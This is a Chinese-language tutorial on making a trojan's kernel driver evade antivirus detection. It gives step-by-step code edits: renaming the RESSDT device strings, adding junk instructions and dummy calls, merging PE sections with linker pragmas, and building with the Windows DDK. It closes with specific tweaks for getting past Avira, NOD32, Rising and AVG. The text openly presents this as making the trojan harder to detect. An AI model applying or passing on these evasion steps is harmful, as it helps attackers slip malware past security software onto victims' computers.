命令行編譯驅動
1.改RESSDT字符串(一共5個地方)
先搜索RESSDT,改爲什麼都行,比如我改爲avcenter
// RtlInitUnicodeString(&DerName,L"//Device//RESSDT");
RtlInitUnicodeString(&DerName,L"//Device//avcenter");
// RtlInitUnicodeString(&DerName2,L"//??//RESSDTDOS");
RtlInitUnicodeString(&DerName2,L"//??//avcenterDOS");
// hDriver = CreateFileA( "////.//RESSDTDOS",
hDriver = CreateFileA( "////.//avcenterDOS",
//TARGETNAME=RESSDT //這個得搜索所有文件纔可以搜索到了,這個是生成驅動的名稱
TARGETNAME=avcenter
//SOURCE=../sys/RESSDT.sys(這裏不能用註釋符號 ../../bin/RESSDT.sys表示生成到Bin目錄裏去)
SOURCE=../../bin/avcenter.sys
還得改下上個教程裏sys資源調用:
//IDR_SYS BIN DISCARDABLE "..//sys//RESSDT.sys"
IDR_SYS BIN DISCARDABLE "..//..//bin//avcenter.sys"
2.然後再給驅動文件加點花指令,或者也可以再把那個DbgPrint前的註釋去掉
或者加個sprintf也可以:
#include <stdio.h> //先加個文件頭
sprintf("aaaaaaa", "bbbbbbbbb", 123);
反正改的越多殺軟就越難查殺
3.還可以合併下區段:合併區段是個很重要的方法,特別是在下個教程裏你可以看到它的效果
#pragma comment(linker, "/merge:.rdata=.data ") //把.rdata區段合併到.data裏去
#pragma comment(linker, "/merge:.text=.data ") //把.text區段合併到.data裏去
合併後驅動文件的大小就由3K變成了2K了,這個還可以使你的木馬變小
4.
在命令行編譯驅動也有兩個方法,第二個方法快點...
—————————————————————————————————————————————————
改完後把Server裏的sys文件夾複製到DDK安裝目錄裏,然後在cmd裏運行命令
cd/ (來到C盤根目錄)
C:/WINDDK/2600/bin/setenv.bat C:/WINDDK/2600 chk (這個命令得看你的DDK安裝在哪)
cd sys (進入sys目錄)
build (編譯sys文件)
—————————————————————————————————————————————————
或者直接來到這裏,進入sys文件夾去編譯
開始/Development Kits/Windows DDK 2600/Build Environments/Win XP Free Build Environment
—————————————————————————————————————————————————
改下輸入表的大小看看過瑞星不?
編譯生成之後再去看看sys文件裏的字符串哪些變了
這樣改後還是有很多殺軟會殺的,再給驅動文件加個輸入表就可以免殺很多,但我現在還不會,呵呵
5.手動免殺其他殺軟
小紅傘:移動ntoskrnl.exe到驅動文件的最後
nod32:改子系統
瑞星:改輸出表大小爲30
avg:填充掉文件頭上的那些東西
改後就剩下兩個殺軟殺了